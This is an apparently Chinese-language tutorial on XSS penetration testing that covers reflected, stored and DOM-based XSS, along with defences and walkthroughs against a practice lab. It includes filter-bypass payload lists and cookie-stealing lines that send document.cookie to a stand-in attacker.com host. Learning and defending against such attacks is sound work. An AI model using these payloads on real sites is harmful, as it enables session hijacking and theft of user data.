XSS滲透測試原理/步驟/攻擊方法/防御/常用語法

核心概念回顧：

????????XSS漏洞一直被評估為web漏洞中危害較大的漏洞，在OWASP TOP10的排名中一直屬于前三的江湖地位。
XSS是一種發生在前端瀏覽器端的漏洞，所以其危害的對象也是前端用戶。
形成XSS漏洞的主要原因是程序對輸入和輸出沒有做合適的處理，導致“精心構造”的字符輸出在前端時被瀏覽器當作有效代碼解析執行從而產生危害。
因此在XSS漏洞的防范上，一般會采用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理:
輸入過濾：對輸入進行過濾，不允許可能導致XSS攻擊的字符輸入;
輸出轉義：根據輸出點的位置對輸出到前端的內容進行適當轉義;

xss分為以下幾種類型：

????????1.反射性XSS;
2.存儲型XSS;
3.DOM型XSS;

反射性XSS：

基本概念

“反射”的含義： ? ?攻擊者構造的惡意腳本代碼，作為HTTP請求的一部分（最常見的是URL參數）發送給服務器。服務器在處理這個請求時，沒有對惡意代碼進行過濾或轉義，而是直接將其“反射”回HTTP響應中，嵌入到返回給用戶的HTML頁面里。
? ? ? ?受害者觸發：惡意腳本不會存儲在服務器上（如數據庫）。攻擊必須通過誘導受害者點擊一個精心構造的惡意鏈接來觸發。受害者點擊鏈接 -> ? ?瀏覽器發送包含惡意代碼的請求 -> 服務器“反射”回惡意代碼 -> 受害者的瀏覽器執行惡意代碼。
? ? ? ?一次性攻擊：攻擊只對點擊了該特定惡意鏈接的用戶生效。攻擊者需要為每個受害者生成或發送不同的惡意鏈接（雖然攻擊載荷可能相同）

攻擊流程

????????當攻擊者將帶有惡意腳本的URL發送給用戶時，如果用戶點擊了這個URL，惡意腳本就會被發送到服務器，然后服務器會將這個腳本作為響應的一部分返回給用戶的瀏覽器。瀏覽器在收到響應后會執行這段腳本，從而可能導致敏感信息如cookies被竊取。
????????這種攻擊之所以被稱為“反射型”，是因為惡意腳本是通過用戶的瀏覽器“反射”回服務器，然后再由服務器“反射”回更多用戶的瀏覽器來傳播的。這種攻擊方式通常是一次性的，因為惡意腳本不會存儲在服務器上，而是通過URL參數直接傳遞給服務器。

流程圖：

攻擊詳細步驟

1.發現漏洞： 攻擊者找到一個存在反射型XSS漏洞的網頁（例如搜索頁面、錯誤信息頁面、登錄頁面等）。這個頁面的輸出（通常是HTML內容）直接包含了用戶輸入的某個請求參數（如 ?searchTerm=...），且未做安全處理。
2.構造惡意鏈接：

????????????????1.攻擊者將惡意的JavaScript代碼嵌入到該請求參數中，形成一個超長的、看起來可疑的URL。例如：https://vulnerable-site.com/search?query=<script>alert('XSS!')</script>
????????????????2.為了更隱蔽，攻擊者通常會使用URL編碼來混淆惡意字符：https://vulnerable-site.com/search?query=%3Cscript%3Ealert%28%27XSS%21%27%29%3C%2Fscript%3E

3.誘導點擊：攻擊者通過各種社會工程學手段誘騙受害者點擊這個惡意鏈接：

? ? ? ? ? ? ? ? 1.發送釣魚郵件（偽裝成重要通知、優惠信息、朋友分享）；
? ? ? ? ? ? ? ? 2.在社交媒體、論壇、評論區發布帶有誘人標題或圖片的鏈接；
? ? ? ? ? ? ? ? 3.利用即時通訊工具發送；
? ? ? ? ? ? ? ? 4.將鏈接縮短（如 bit.ly, TinyURL）以隱藏其真實面目。

4.請求發送：受害者被誘騙點擊鏈接，其瀏覽器向?vulnerable-site.com?發送一個HTTP GET請求，請求中包含惡意參數?query=<script>alert('XSS!')</script>?(或URL編碼后的版本)。
5.服務器處理與反射：服務器端的應用程序接收到請求，提取?query?參數的值（即惡意腳本）。服務器端代碼沒有對這個值進行任何過濾、驗證或轉義處理，而是直接將其拼接到即將返回給用戶的HTML頁面模板中。

????????例如，服務器端代碼可能是這樣的(Python偽代碼)：

????????

search_term = request.GET['query']  # 直接獲取未處理的輸入
html_response = "<html><body><h1>Search Results for: " + search_term + "</h1>...</body></html>"
return html_response

6.響應返回與惡意代碼注入：?服務器將構建好的HTML頁面發送回受害者的瀏覽器。這個頁面現在包含了原始的惡意腳本標簽：

<html>
<body><h1>Search Results for: <script>alert('XSS!')</script></h1>...
</body>
</html>

7.瀏覽器解析與執行：?受害者的瀏覽器接收到這個HTML響應，開始解析。當解析到?<script>alert('XSS!')</script>?這段代碼時，瀏覽器將其視為頁面合法的一部分，并立即執行其中的JavaScript代碼（在這個簡單例子中，彈出一個警告框顯示“XSS!”）。
8.惡意行為發生：在實際攻擊中，alert('XSS!') 會被替換成真正的惡意代碼。這段代碼在受害者的瀏覽器上下文和目標網站（vulnerable-site.com）的域下執行，擁有該用戶在該網站上的權限（會話Cookie等）。惡意行為開始，例如：

? ? ? ? ? ? ? ? 1.竊取用戶的會話Cookie（document.cookie）；
????????????????2.將Cookie發送到攻擊者控制的服務器（new Image().src='https://attacker.com/steal?cookie=' + document.cookie）；
? ? ? ? ? ? ? ? 3.偽造請求（如轉賬、修改密碼、發布內容 - 需要CSRF保護失效或配合）；
? ? ? ? ? ? ? ? 4.重定向用戶到釣魚網站；
? ? ? ? ? ? ? ? 5.記錄鍵盤輸入；
? ? ? ? ? ? ? ? 6.下載并執行惡意軟件。

關鍵點

如何防御反射型XSS

針對反射型XSS，服務器端的防御至關重要：

1.漏洞根源： 服務器端對用戶輸入（特別是URL參數）的處理不當，未進行輸出編碼/轉義，直接嵌入到HTML輸出中；
2.傳播方式： 依賴社會工程學誘導用戶點擊惡意鏈接；
3.執行環境： 惡意腳本在受害者瀏覽器中執行，目標網站是被利用的合法網站 (vulnerable-site.com)。
1.嚴格的輸出編碼/轉義： 這是最根本、最有效的防御。在將任何用戶可控數據（包括URL參數、表單數據、HTTP頭）插入到HTML文檔的任何位置（元素內容、屬性值、JavaScript代碼、CSS、URL）之前，必須根據其插入的上下文進行正確的轉義。

????????（1）HTML內容：轉義 <, >, &, ", ';
? ? ? ? （2）HTML屬性：轉義屬性值內的引號，并始終用引號包裹屬性值;
? ? ? ? （3）JavaScript：使用 \ 轉義特殊字符，或使用 JSON.stringify();
? ? ? ? （4）URL：進行URL編碼 (encodeURIComponent);
? ? ? ? （5）使用成熟的安全庫/框架內置函數進行轉義，切勿手動拼接。

? ? ? ? ?

2.輸入驗證：在接收用戶輸入時，進行白名單驗證（只允許已知安全的字符和格式），過濾或拒絕包含明顯惡意字符或結構的輸入。但輸入驗證不能替代輸出編碼，因為合法的輸入在特定上下文中也可能被利用。
3.內容安全策略 (CSP)：配置?Content-Security-Policy?HTTP響應頭。一個強化的CSP可以：

????????????????1.禁止內聯腳本 ('unsafe-inline')，強制所有腳本必須來自外部可信的?.js?文件;
? ? ? ? ? ? ? ? 2.禁止?eval()?等動態執行 ('unsafe-eval');
? ? ? ? ? ? ? ? 3.限制腳本、樣式、圖片等資源的加載來源;
? ? ? ? ? ? ? ? 4.即使存在XSS漏洞，也能極大限制攻擊者執行有效載荷的能力

HttpOnly Cookie：為敏感的會話Cookie設置?HttpOnly?標志。這樣，即使發生XSS攻擊，惡意腳本也無法通過?document.cookie?直接讀取該Cookie，增加竊取會話的難度（但攻擊者仍能利用受害者的會話發起請求）。

用戶如何自我保護

1.警惕不明鏈接： 對郵件、消息、社交媒體中來源不明的鏈接保持高度警惕，尤其是帶有誘惑性或緊迫性內容的。
2.檢查鏈接： 鼠標懸停在鏈接上（不要點擊）查看瀏覽器狀態欄顯示的真實目標URL。注意域名是否拼寫正確（如 examp1e.com vs example.com）。
3.使用安全軟件： 保持瀏覽器和操作系統更新，使用具有反釣魚功能的瀏覽器或安全軟件。
4.謹慎輸入憑證： 在通過鏈接跳轉到的頁面上輸入用戶名、密碼、銀行卡信息等敏感信息前，務必確認網址的正確性。

反射型xss的常用語法

1.普通語法: ?<script>alert(1)</script>
2.構造閉合語法： ?"><script>alert(1)</script>
3.當引號被轉義時的語法: ? 1' οnclick='alert(2)' 再次點擊輸入框時就會出現彈窗
4.當3.的雙引號不行時則考慮使用雙引號：1 "onclick"=alert(2)
5.當</>被過濾時便不能用標簽可以考慮使用出發事件： 1" ?οnmοuseοver="alert(1)"
6.當5.的雙引號不行時則考慮使用單引號： ?1' ?οnmοuseοver='alert(1)'
7.當上述幾種都不行時可以考慮使用a標簽：11"><a href="javascript:alert(1)">
8.大小寫繞過：11"><a HREF="javascript:alert(1)"> ? ? ?"><sCript>alert(1)</scRipt><SCRIPT>alert(1)</SCRIPT>
9.雙寫繞過："><SCRSCRIPTIPT>alert(/xss/)</SCRSCRIPTIPT>
10.Html編碼繞過：

avaSCRIPT:alert(1)這里屬于直接編碼所所有的進行把所需要過濾的字段進行html編碼就可以進行繞過，這里繞過的時比如href     hrefSCRIPT    SCRIPT

實際案例詳解

用例1：反射型XSS（get）

? ? ? ? 方法1：修改前端內容長度，輸入普通語法

? ? ? ? 1.進入到測試網址，獲取輸入框，定位到元素長度：

? ? ? ? 2.使用常用語法輸入內容，發現有長度限制：

?<script>alert(1)</script>  --普通語法

????????3.修改長度限制后，然后再次輸入內容，彈窗展示內容：

? ? ? ? 4.結果如下：

????????方法2：修改前端內容長度，輸入閉合語法

? ? ? ? 1.修改長度內容，輸入：

"><script>alert(1)</script>        --構造閉合語法

? ? ? ? 2.結果如下：

????????方法3：將參與直接輸入URL后面message中，輸入的參數與URL中的message參數綁定

? ? ? ? 1.進入頁面后，輸入框輸入內容，點擊請求，獲取到URL地址message參數：

? ? ? ? 2.將語法添加到message中，然后回車請求：

?<script>alert(1)</script>  --普通語法

? ? ? ? 3.結果如下：

用例2：反射型XSS（post）

? ? ? ? 方法1：獲取前端輸入框入參，然后前端直接輸入彈框內容：

? ? ? ? 1.登錄成功后，輸入內容，發現前端有回顯參數：

? ? ? ? 2.直接使用普通語法：

<script>alert("滲透測試post方法前端直接輸入")</script>        --普通語法

? ? ? ? 3.結果如下：

方法2：使用document.cookie直接攻擊

????????1.登錄成功后，輸入內容，發現post提交與get提交的不同之處在于，post的message=消失了，這就是post提交中攻擊載荷(payload)通常不會出現在URL中的特點。

????????2.我們嘗試在輸入欄中輸入XSS代碼并進行提交：

<script>alert(document.cookie)</script>    --直接取cookie進行調用

? ? ? ? 3.結果如下，頁面中顯示了cookie、賬號和密碼，漏洞復現：

存儲型XSS：?

基本概念

????????存儲型 XSS（Stored Cross-Site Scripting），又稱持久化 XSS，是危害級別最高的 XSS 攻擊類型。其核心特點是：

1.惡意腳本存儲于服務器端：如數據庫、文件系統等持久化存儲介質。
2.自動觸發攻擊：用戶訪問頁面時，服務器主動讀取并渲染包含惡意腳本的內容，無需依賴用戶點擊特定鏈接。

攻擊鏈示意圖：

攻擊者 ---------> 向服務器提交包含惡意腳本的內容（如評論、發帖）
↓
服務器 -------> 將惡意內容存儲至數據庫
↓
其他用戶 -----> 訪問頁面時，服務器從數據庫讀取并返回包含惡意腳本的HTML
↓
用戶瀏覽器 ----> 解析并執行惡意腳本（自動觸發攻擊）

攻擊流程

????????攻擊者通過評論區、論壇等功能將 XSS代碼上傳，服務器接收并進行存儲，XSS代碼就成功植入了網頁代碼中，當其他用戶對包含XSS代碼的網頁時，XSS代碼就會被用戶的瀏覽器進行解析并執行。

攻擊詳細步驟

攻擊原理剖析

腳本植入階段：
????????攻擊者通過網站的信任輸入點（如用戶評論、商品描述、個人資料修改等）提交包含惡意腳本的內容。
持久化存儲階段：
????????服務器未對輸入內容進行安全過濾，直接將惡意腳本存入數據庫或文件系統。
自動觸發階段：
????????當其他用戶訪問包含惡意內容的頁面（如文章詳情頁、留言板）時，服務器將惡意腳本隨頁面一同返回給瀏覽器，觸發執行

存儲型 XSS 的危害與攻擊手法

核心危害：

1.大規模會話劫持：

????????利用document.cookie竊取用戶 Cookie，結合HttpOnly繞過手段，可批量獲取用戶會話憑證。

<script>
new Image().src = "http://attacker.com/steal.php?cookie=" + document.cookie;
</script>

2.蠕蟲式傳播：

????????腳本自動在受害者的社交關系鏈中傳播（如自動發布含惡意鏈接的微博、朋友圈），擴大攻擊范圍。

3.權限提升與后臺控制：

????????若受害者為管理員，腳本可執行刪除數據、添加惡意用戶等高危操作。

4.長期潛伏攻擊：
惡意內容長期存儲在服務器，持續危害新訪問用戶，難以被及時發現。

高級攻擊手法

1.DOM 型存儲型 XSS 結合

????????原理：惡意腳本通過修改 DOM 結構觸發二次渲染漏洞。
案例：

// 使用DOMPurify庫實現白名單過濾
import DOMPurify from 'dompurify';const cleanContent = DOMPurify.sanitize('<h1>Hello</h1><a href="#" onclick="alert()">點擊</a>', {ALLOWED_TAGS: ['h1', 'a'],ALLOWED_ATTR: ['href']
});
// 輸出：<h1>Hello</h1><a href="#">點擊</a>（onclick事件被過濾）

2.多階段漏洞利用

????????步驟：
? ? ? ? 1.先通過存儲型 XSS 竊取管理員 Cookie；
2.再利用 Cookie 模擬管理員身份，向全站用戶推送惡意通知（如包含 XSS 的系統公告）

關鍵點

存儲型 XSS 防御體系構建

1.輸入驗證：嚴格過濾惡意內容

1.白名單策略（推薦）

????????只允許特定的安全標簽和屬性，拒絕所有其他?HTML/JS 代碼。
????????案例：允許加粗、鏈接等基礎標簽

// 使用DOMPurify庫實現白名單過濾
import DOMPurify from 'dompurify';const cleanContent = DOMPurify.sanitize('<h1>Hello</h1><a href="#" onclick="alert()">點擊</a>', {ALLOWED_TAGS: ['h1', 'a'],ALLOWED_ATTR: ['href']
});
// 輸出：<h1>Hello</h1><a href="#">點擊</a>（onclick事件被過濾）

2.黑名單補充（輔助手段）

????????過濾明確的惡意關鍵詞（如<script>、onerror、javascript:），但需配合編碼防止繞過。

# Python示例：過濾危險關鍵詞
def filter_xss(content):blacklist = ['<script>', '</script>', 'onerror', 'javascript:']for word in blacklist:content = content.replace(word, '')return content

2.輸出編碼：阻斷腳本執行

根據內容輸出位置，進行對應的編碼處理（同反射性 XSS）：
HTML 內容：使用 HTML 實體編碼（如<轉為<）。
JavaScript 變量：使用 JS 轉義（如"轉為\"）。
URL 參數：使用 URL 編碼（如#轉為%23）。

{# 自動轉義，安全渲染 #}
<div class="comment">{{ post.content|escape }}</div>{# 顯式標記可信內容（需謹慎使用） #}
<div class="trusted-content">{{ safe_content|safe }}</div>

3.內容安全策略（CSP）：限制腳本來源

通過 HTTP 響應頭Content-Security-Policy（CSP）禁止執行 Inline 腳本，僅允許加載可信來源的 JS 文件。

強安全配置示例：

Content-Security-Policy: default-src 'none';script-src 'self' https://cdn.example.com;style-src 'self' 'unsafe-inline'; <!-- 如需使用內聯樣式，添加'unsafe-inline' -->img-src 'self' data:;font-src 'self';connect-src 'self';form-action 'self';frame-ancestors 'none';

4.存儲層安全：分離內容與代碼

富文本內容存儲：
使用獨立的富文本解析器（如 CKEditor、TinyMCE），其內置 XSS 過濾機制可將惡意腳本轉為純文本。
敏感字段隔離：
避免在同一數據庫字段中混合存儲用戶輸入內容與業務邏輯代碼。

5.監控與應急響應

1.實時日志審計：
????????監控數據庫中是否存在異常字符（如連續<>符號、script關鍵詞），及時發現植入的惡意內容。
2.漏洞掃描：
????????使用 AWVS、Nessus 等工具定期掃描全站，檢測存儲型 XSS 漏洞。
3.快速響應流程：
????????建立漏洞應急機制，一旦發現攻擊，立即清理惡意內容、修補漏洞，并通知受影響用戶修改密碼。

實際案例詳解：

用例1：存儲型XSS

方法1：輸入普通語法，多次保存到后臺，調用后多次彈窗

????????1.進入頁面地址，多次輸入彈窗內容，調用接口保存數據

<script>alert("滲透測試post方法前端直接輸入")</script>    --普通語法

????????2.輸入其他內容再次調用，會將之前所有保存數據彈窗顯示前端頁面

方法2：使用document.cookie直接攻擊

? ? ? ? 1.進入頁面地址，直接輸入cookie進行調用：

<script>alert(document.cookie)</script>    --直接獲取cookie值進行調用

? ? ? ? 2.結果如下，cookie直接彈窗展示，漏洞復現：

存儲型 vs 反射性 XSS 對比

維度	存儲型 XSS	反射性 XSS
腳本存儲位置	服務器端（數據庫 / 文件）	客戶端（URL / 表單參數）
觸發條件	自動觸發（用戶訪問頁面）	依賴用戶點擊惡意鏈接
攻擊持續性	長期有效（需手動清理）	一次性（參數隨請求消失）
危害范圍	影響所有訪問者	僅影響單個用戶
典型場景	留言板、論壇、電商評論	搜索框、登錄頁錯誤提示

DOM型XSS：

基本概念

????????DOM型XSS漏洞是一種基于文檔對象模型（Document Object Model，簡稱DOM）的漏洞，它允許攻擊者通過修改DOM元素的屬性來注入并執行惡意腳本。

????????這種攻擊方式不需要通過URL傳遞惡意代碼，而是直接在用戶的瀏覽器端執行。攻擊者可能會利用JavaScript代碼，通過改變頁面的DOM結構，插入惡意腳本。由于這個過程是在客戶端完成的，因此DOM型XSS攻擊更加隱蔽，與傳統的反射型XSS相比，它不依賴于服務器的響應，使得檢測和防御更加困難。

????????簡單來說：DOM型XSS漏洞地原理是利用前端代碼漏洞

攻擊步驟和原理

攻擊步驟：

1.惡意輸入注入：

????????????????攻擊者通過輸入框、URL 參數等渠道將包含惡意腳本的輸入數據提交到 Web 應用程序。

2.客戶端DOM解析：

????????????????用戶訪問包含惡意輸入的頁面時，瀏覽器會解析 HTML 并構建 DOM 樹。

3.DOM修改：

????????????????惡意腳本通過 JavaScrip t等方式對 DOM 進行修改。

4.腳本執行：

????????????????由于惡意腳本被插入到 DOM 中，瀏覽器在解析和執行 DOM 時會執行這些腳本，導致攻擊成功。

防范措施：

1.輸入驗證和過濾：

????????????????對用戶輸入進行驗證，僅接受合法和預期的輸入。

2.輸出轉義：

????????????????在將用戶輸入嵌入到 DOM 中之前，對其進行適當的輸出編碼，防止執行惡意腳本。

3.安全的DOM操作：

? ? ? ? ? ?（1）避免使用容易受到攻擊的 DOM 操作方法，如 innerHTML，而是使用更安全的 API。
? ? ? ? ? ?（2）Content Security Policy（CSP）：
???????????????????使用 CSP 頭來限制允許加載和執行的腳本資源，減少 XSS 攻擊的風險。

實際案例詳解：

用例1：DOM型XSS

方法1：直接使用cookie進行攻擊

1.進入靶場XSS-DOM對應頁面，輸入任意內容，返回如下：

2.發現輸入內容在<a>標簽中的 href 處顯示，想要進行XSS攻擊，我們需要構造一段合適的payload，來將此處的 html 語句閉合并且執行我們自己的 javascript語句。輸入內容，如下：

#' onclick="alert(document.cookie)">        --直接使用cookie進行攻擊

3.點擊'>what do you see?，彈窗顯示cookie值，漏洞復現成功，如下：

方法2：使用JavaScript直接攻擊

1.使用HTML 標簽中執行 JavaScript 語法：

javascript:alert(/DOM 型 XSS 攻擊成功/)        --直接使用javascript調用

2.點點擊超鏈接時根據 href 屬性跳轉執行了 JavaScript 代碼，這是更改鏈接，結果如下：

方法3：使用JavaScript，閉合標簽后模擬用戶點擊

1.閉合掉前面的標簽，通過點擊事件來讓用戶執行 JavaScript 代碼，執行以下語法：

' onclick="alert(/DOM 型 XSS 攻擊成功/)"        --通過用戶點擊攻擊

2.閉合了 href 屬性，點擊超鏈接，模擬用戶點擊，結果如下：

方法4：使用JavaScript，閉合標簽后模擬用戶操作浮動圖片

1.閉合掉前面的標簽，通過點擊事件來讓用戶浮動圖片至?JavaScript 代碼，執行以下語法：

'><img src="#" onmouseover="alert(/DOM 型 XSS 攻擊成功/)"    --模擬用戶浮動圖片

2.閉合了 href 屬性，點擊浮動圖片，模擬用戶點擊，結果如下：

用例2：DOM型XSS-x（方法類似用例1中）

方法1：直接獲取cookie進行攻擊

?1.進入靶場XSS-x-DOM對應頁面，現輸入內容在<a>標簽中的 href 處顯示，想要進行XSS攻擊，我們需要構造一段合適的payload，來將此處的 html 語句閉合并且執行我們自己的 javascript語句。輸入內容，點擊超鏈接，如下：

#' onclick="alert(document.cookie)">        --直接使用cookie進行攻擊

2.結果如下，需再次點擊鏈接，漏洞復現成功：

方法2：使用JavaScript直接攻擊

1.使用HTML 標簽中執行 JavaScript 語法：

javascript:alert(/DOM 型 XSS 攻擊成功/)        --直接使用javascript調用

2.點點擊超鏈接時根據 href 屬性跳轉執行了 JavaScript 代碼，這是更改鏈接，結果如下：

XSS-盲打

XSS盲打就是攻擊者在進行XSS插入時不會在前端有回顯，但是在后臺可以看得到，當管理員進行后臺登錄時就會看到XSS的內容，因為能直接盜取管理員的COOKIE拿到權限，但又十分隱蔽，只能進行嘗試不能確保一定存在，執行以下語法：。

<script>alert(css)</script>    --常用語法調用
"><script>alert(1)</script>       --閉合語法

1.輸入常用語法，然后提交：

2.登錄后臺地址，彈窗后臺存入得數據以及提交得數據：

3.輸入閉合語法，然后提交：

4.登錄后臺地址，彈窗后臺存入得數據以及提交得數據：

XSS-過濾

大小寫混淆過濾,<scRipt>alert(14)</sCript>
使用注釋進行干擾: <sc ript> alert(14)</scr <--test--> ipt>
重寫: <scri<script> pt> alert(14)</scri</script> pt>
使用img標簽<img src=xss οnerrοr="alert(11)">

1.常用彈窗語法，替換大寫字母校驗

<scriPt>alert(1)</scriPt>        --大小字母替換跳過后端校驗

2.執行結果：

3.使用圖片爆破，利用圖片跳過校驗，然后彈窗：

<img src=1 onerror=alert(1)>    -- 圖片爆破

4.執行結果：

XSS反射型總結：

????????反射型XSS是一種利用服務器對用戶輸入（特別是URL參數）處理不當，將惡意腳本“反射”回受害者瀏覽器執行的安全漏洞。它高度依賴社會工程學誘導用戶點擊惡意鏈接。防御的核心在于服務器端對所有用戶可控數據進行嚴格的上下文感知的輸出編碼/轉義，并結合CSP、HttpOnly Cookie等防御措施進行縱深防御。用戶則需要提高警惕，避免點擊可疑鏈接。

XSS存儲型總結：

????????存儲型 XSS 因其持久性和自動傳播性，成為 Web 應用的重大安全威脅。防御的核心在于：
輸入輸出雙層防護：白名單過濾 + 全場景編碼，確保惡意腳本無法被存儲或執行。
最小權限原則：限制用戶輸入的功能范圍（如普通用戶禁止使用富文本 HTML）。
持續監控與響應：通過日志分析和漏洞掃描，實現 “發現 - 修復 - 驗證” 閉環。

XSS-DOM型總結：

????????DOM型XSS是一種特殊的跨站腳本攻擊，其特點是整個漏洞的觸發過程完全發生在客戶端（瀏覽器）的DOM環境中，不依賴服務器端對惡意腳本的“回顯”或“存儲”。攻擊者通過構造惡意URL或誘導用戶交互，使得頁面的JavaScript代碼在處理用戶可控數據（如location.hash、location.search、document.referrer等）時，直接將其寫入DOM（例如通過innerHTML、document.write、eval()等危險操作），從而導致惡意腳本執行。